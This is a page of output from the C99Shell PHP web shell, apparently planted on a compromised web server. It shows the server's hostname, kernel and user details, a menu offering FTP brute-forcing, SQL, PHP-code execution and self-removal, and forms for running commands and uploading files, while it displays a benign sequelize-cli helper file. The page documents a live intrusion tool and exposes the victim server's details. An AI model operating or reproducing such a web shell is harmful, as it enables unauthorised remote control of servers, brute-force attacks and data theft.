!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/node_modules/sequelize-cli/lib/helpers/   drwxr-xr-x
Free 23.84 GB of 117.98 GB (20.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     umzug-helper.js (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

var _path = _interopRequireDefault(require("path"));
var _lodash = _interopRequireDefault(require("lodash"));
var _index = _interopRequireDefault(require("./index"));
var _process = _interopRequireDefault(require("process"));
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
const storage = {
  migration: 'sequelize',
  seeder: 'none'
};
const storageTableName = {
  migration: 'SequelizeMeta',
  seeder: 'SequelizeData'
};
const storageJsonName = {
  migration: 'sequelize-meta.json',
  seeder: 'sequelize-data.json'
};
let timestampsDefault = false;
module.exports = {
  getStorageOption(property, fallback) {
    return _index.default.config.readConfig()[property] || fallback;
  },
  getStorage(type) {
    return this.getStorageOption(type + 'Storage', storage[type]);
  },
  getStoragePath(type) {
    const fallbackPath = _path.default.join(_process.default.cwd(), storageJsonName[type]);
    return this.getStorageOption(type + 'StoragePath', fallbackPath);
  },
  getTableName(type) {
    return this.getStorageOption(type + 'StorageTableName', storageTableName[type]);
  },
  getSchema(type) {
    return this.getStorageOption(type + 'StorageTableSchema', undefined);
  },
  enableTimestamps() {
    timestampsDefault = true;
  },
  getTimestamps(type) {
    return this.getStorageOption(type + 'Timestamps', timestampsDefault);
  },
  getStorageOptions(type, extraOptions) {
    const options = {};
    if (this.getStorage(type) === 'json') {
      options.path = this.getStoragePath(type);
    } else if (this.getStorage(type) === 'sequelize') {
      options.tableName = this.getTableName(type);
      options.schema = this.getSchema(type);
      options.timestamps = this.getTimestamps(type);
    }
    _lodash.default.assign(options, extraOptions);
    return options;
  }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--